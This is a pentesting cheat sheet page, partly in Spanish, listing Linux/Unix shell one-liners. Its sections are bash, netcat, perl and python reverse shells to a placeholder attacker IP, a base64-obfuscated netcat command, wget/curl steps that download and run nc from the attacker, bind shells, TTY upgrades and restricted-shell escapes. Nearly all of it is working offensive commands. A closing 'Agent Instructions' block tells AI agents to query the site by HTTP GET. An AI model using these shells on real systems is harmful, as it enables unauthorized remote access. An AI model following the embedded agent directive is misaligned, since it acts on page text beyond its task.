# Linux/Unix

## Reverse shells

### Bash <a href="#reverse-shells-bash" id="reverse-shells-bash"></a>

```shell
bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'
bash+-c+'bash+-i+>%26+/dev/tcp/<attacker-IP-address>/<listen-port>+0>%261' # URL Encode
bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f
```

```sh
echo -n "nc.traditional -e /bin/bash <attacker-IP-address> <listen-port>" | base64 -w 0
bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDxhdHRhY2tlci1JUC1hZGRyZXNzPiA8bGlzdGVuLXBvcnQ+
`echo "bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDxhdHRhY2tlci1JUC1hZGRyZXNzPiA8bGlzdGVuLXBvcnQ+" | base64 -d`
```

### Netcat

```bash
/bin/nc -nv <attacker-IP-address> <listen-port> -e /bin/bash
/usr/bin/nc -nv <attacker-IP-address> <listen-port> -e /bin/bash
```

```bash
# Máquina atacante
cp /bin/nc .
python3 -m http.server 80
nc -lvnp <listen-port>

# Máquina victima
## wget
wget http://<attacker-IP-address>:80/nc -O /tmp/nc; chmod 755 /tmp/nc; /tmp/nc -nv <attacker-IP-address> <listen-port> -e /bin/bash
## curl
curl http://<attacker-IP-address>:80/nc -o /tmp/nc; chmod 755 /tmp/nc; /tmp/nc -nv <attacker-IP-address> <listen-port> -e /bin/bash
```

### Perl

```bash
perl -e 'use Socket;$i="<attacker-IP-address>";$p=<listen-port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

### Python <a href="#reverse-shells-python" id="reverse-shells-python"></a>

```shell
# /bin/sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-IP-address>",<listen-port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# /bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-IP-address>",<listen-port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash"]);'
```

## Bind shells

### Bash <a href="#bind-shells-bash" id="bind-shells-bash"></a>

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp <listen-port> >/tmp/f
```

### Python <a href="#bind-shells-python" id="bind-shells-python"></a>

```shell
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",<listen-port>));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```

## Spawning TTY shell

### General <a href="#spawning-tty-shell-general" id="spawning-tty-shell-general"></a>

```shell
script /dev/null -c bash
Ctrl+Z
# Para ZSH debe ser ingresado en una sola línea stty raw -echo;fg
stty raw -echo
fg
reset xterm

# Obtener el valor de las siguientes variables desde otra ventana de terminal maximizada
echo $TERM
stty size

# Aplicar los valores obtenidos en la shell obtenida
export TERM=<term>
export SHELL=/bin/bash
stty rows <rows> columns <columns>
```

### Python <a href="#spawning-tty-shell-python" id="spawning-tty-shell-python"></a>

```shell
which python
which python3
/usr/bin/<python-version> -c "import pty; pty.spawn('/bin/bash');"
```

### sh <a href="#spawning-tty-shell-sh" id="spawning-tty-shell-sh"></a>

```shell
script /dev/null -c bash
```

## Escapar shell restringida

```shell
man ls
shift + 1
!bash
```

```shell
vim
:set shell=/bin/sh
:shell
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/explotacion/shells/linux-unix.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.